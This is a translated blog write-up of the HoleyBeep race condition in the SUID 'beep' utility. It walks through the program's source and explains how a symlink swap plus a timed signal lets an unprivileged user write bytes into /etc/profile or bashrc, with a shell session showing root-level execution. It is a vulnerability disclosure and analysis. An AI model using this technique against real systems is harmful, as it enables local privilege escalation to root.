📜 ⬆️ ⬇️

HoleyBeep: explanation and exploit



In the old days, people used \a to generate unpleasant "beeps" from system unit speakers. This was especially inconvenient if you wanted to generate more complex sound sequences like 8-bit music. Therefore, Jonathan Nightingale wrote the program beep . It was a short and very simple program that allowed fine-tuning the sound from the speaker.

With the advent of the X-server, everything has become much more complicated.
')
In order for beep to work, the user had to either be the superuser or own the current tty. That is, beep will always work for a root user or for any local user, but will not work for a non-root remote user. At the same time, any terminal (for example, xterm) connected to the X-server is considered “remote”, and therefore beep will not work.

Many users (and distributions) solve a problem with the SUID bit. This is a special bit, if you set it for a binary, the file is executed with the owner's rights (in this case, root), and not the ordinary user (yours).

Today, this bit is used widely, mostly for convenience. For example, for poweroff to work, root privileges are needed (only a root user can shut down the computer), but for a personal computer this would be too much. Imagine that you are a sysadmin, and all users in the company ask you to turn off their computers. On the other hand, if one attacker can turn off a server with a large number of users, this is a serious security breach.

Of course, all programs that use SUID are potential gaps. Take the same bash, a free root shell. Therefore, such programs are very carefully analyzed by the community.

You might think that a program like beep , consisting of only 375 lines of code, scanned by a bunch of people, can be set up safely, despite the SUID , right?

Not at all!

We understand the code


Let's look at the source code of beep , it lies here: https://github.com/johnath/beep/blob/master/beep.c .

The main function sets signal handlers, parses the arguments, and for each requested sound calls play_beep() .

 int main(int argc, char **argv) { /* ... */ signal(SIGINT, handle_signal); signal(SIGTERM, handle_signal); parse_command_line(argc, argv, parms); while(parms) { beep_parms_t *next = parms->next; if(parms->stdin_beep) { /* ... */ } else { play_beep(*parms); } /* Junk each parms struct after playing it */ free(parms); parms = next; } if(console_device) free(console_device); return EXIT_SUCCESS; } 

In turn, play_beep() opens the target device, searches for its types and calls do_beep() for each repeat.

 void play_beep(beep_parms_t parms) { /* ... */ /* try to snag the console */ if(console_device) console_fd = open(console_device, O_WRONLY); else if((console_fd = open("/dev/tty0", O_WRONLY)) == -1) console_fd = open("/dev/vc/0", O_WRONLY); if(console_fd == -1) { /* ... */ } if (ioctl(console_fd, EVIOCGSND(0)) != -1) console_type = BEEP_TYPE_EVDEV; else console_type = BEEP_TYPE_CONSOLE; /* Beep */ for (i = 0; i < parms.reps; i++) { /* start beep */ do_beep(parms.freq); usleep(1000*parms.length); /* wait... */ do_beep(0); /* stop beep */ if(parms.end_delay || (i+1 < parms.reps)) usleep(1000*parms.delay); /* wait... */ } /* repeat. */ close(console_fd); } 

do_beep() simply calls the desired function to generate a signal depending on the target device:

 void do_beep(int freq) { int period = (freq != 0 ? (int)(CLOCK_TICK_RATE/freq) : freq); if(console_type == BEEP_TYPE_CONSOLE) { if(ioctl(console_fd, KIOCSOUND, period) < 0) { putchar('\a'); perror("ioctl"); } } else { /* BEEP_TYPE_EVDEV */ struct input_event e; e.type = EV_SND; e.code = SND_TONE; e.value = freq; if(write(console_fd, &e, sizeof(struct input_event)) < 0) { putchar('\a'); /* See above */ perror("write"); } } } 

The signal handler is simple: it releases the target device ( char * ), and if it worked, it interrupts the sound by calling do_beep(0) .

 /* If we get interrupted, it would be nice to not leave the speaker beeping in perpetuity. */ void handle_signal(int signum) { if(console_device) free(console_device); switch(signum) { case SIGINT: case SIGTERM: if(console_fd >= 0) { /* Kill the sound, quit gracefully */ do_beep(0); close(console_fd); exit(signum); } else { /* Just quit gracefully */ exit(signum); } } } 

First of all, my attention was attracted by the fact that if SIGINT and SIGTERM sent at the same time, it is likely to call free() twice. But I do not see any other useful applications besides the crash of the program, since after that the console_device will not be used anywhere.

What would we like to achieve ideally?

This write() function in do_beep() looks appropriate. It would be great to use it to write to an intermediate file!

But this entry is protected by console_type , which should be BEEP_TYPE_EVDEV .

console_type is set in play_beep() depending on the ioctl() return value. That is, ioctl() must allow BEEP_TYPE_EVDEV .

But we can't make ioctl() lie. If the file does not belong to the device, ioctl() fails, device_type will not be BEEP_TYPE_EVDEV , and do_beep() will not call write() (instead, it uses ioctl() , which, to my knowledge, is safe in this context).

But we still have a signal handler, and signals can be generated at any time !

Race condition


This signal handler calls do_beep() . If at this point in console_fd and console_type we have the correct values, then we will be able to write to the target file.

Since the signals can be called anywhere, you need to find a specific place where both variables do not contain the correct values.

Remember play_beep() ? Here is the code:

 void play_beep(beep_parms_t parms) { /* ... */ /* try to snag the console */ if(console_device) console_fd = open(console_device, O_WRONLY); else if((console_fd = open("/dev/tty0", O_WRONLY)) == -1) console_fd = open("/dev/vc/0", O_WRONLY); if(console_fd == -1) { /* ... */ } if (ioctl(console_fd, EVIOCGSND(0)) != -1) console_type = BEEP_TYPE_EVDEV; else console_type = BEEP_TYPE_CONSOLE; /* Beep */ for (i = 0; i < parms.reps; i++) { /* start beep */ do_beep(parms.freq); usleep(1000*parms.length); /* wait... */ do_beep(0); /* stop beep */ if(parms.end_delay || (i+1 < parms.reps)) usleep(1000*parms.delay); /* wait... */ } /* repeat. */ close(console_fd); } 

It is called on every requested beep . If the previous call is successful, console_fd and console_type will still have their old values.

This means that in a small snippet of code (from 285 to 293 lines) console_fd has a new value, and console_type still has the old value.

Here it is. Here is our race condition. It is at this point that we will launch the signal handler.

We write an exploit


Writing an exploit was not easy. It turned out to be very difficult to calculate the right moment.
After the start of beep, you cannot change the path to the target device ( console_device ). But you can make a symlink, first leading to the correct device, and then to the target file.

And since now we can write to this file, we need to understand what to write.

Call for recording:

 struct input_event e; e.type = EV_SND; e.code = SND_TONE; e.value = freq; if(write(console_fd, &e, sizeof(struct input_event)) < 0) { putchar('\a'); /* See above */ perror("write"); } 

The struct input_event defined in linux/input.h :

 struct input_event { struct timeval time; __u16 type; __u16 code; __s32 value; }; struct timeval { __kernel_time_t tv_sec; /* seconds */ __kernel_suseconds_t tv_usec; /* microseconds */ }; // On my system, sizeof(struct timeval) is 16. 

The time element is not assigned to the beep source code, and this is the first element of the structure, so its value will be the first bytes of the target file after the attack.

Perhaps we can fool the stack so that it retains the desired value?

After a heap of trial and error, I found out that the value of the -l parameter will be stored there, and after that - \0 . The value is integer, which gives us 4 bytes.

Four bytes that we can write to any existing file.

I decided to write /*/x . In a shell script, this will execute the program (pre-made) /tmp/x .

If you attack the file /etc/profile or /etc/bash/bashrc , then we will achieve complete success with any logged in user.

To automate the attack, I wrote a small script in Python (lies here: https://gist.github.com/Arignir/0b9d45c56551af39969368396e27abe8 ). He assigns a symlink leading to /dev/input/event0 , starts beep , waits a bit, reassigns the link, waits again, and then generates a signal.

 $ echo 'echo PWND $(whoami)' > /tmp/x $ ./exploit.py /etc/bash/bashrc # Or any shell script Backup made at '/etc/bash/bashrc.bak' Done! $ su PWND root 

I have met solutions using cron tasks. This approach looks better because it does not require root-login, but I have not had the opportunity to test.

Conclusion


This was my first zero day exploit.

In the beginning it was quite difficult to find a leak. I had to analyze again and again until I came up with a solution.

I learned that signal processing is much more complicated than it seemed to me, especially because non-reentrant functions should be avoided, and almost all functions from the C library are prohibited.

Source: https://habr.com/ru/post/354130/


All Articles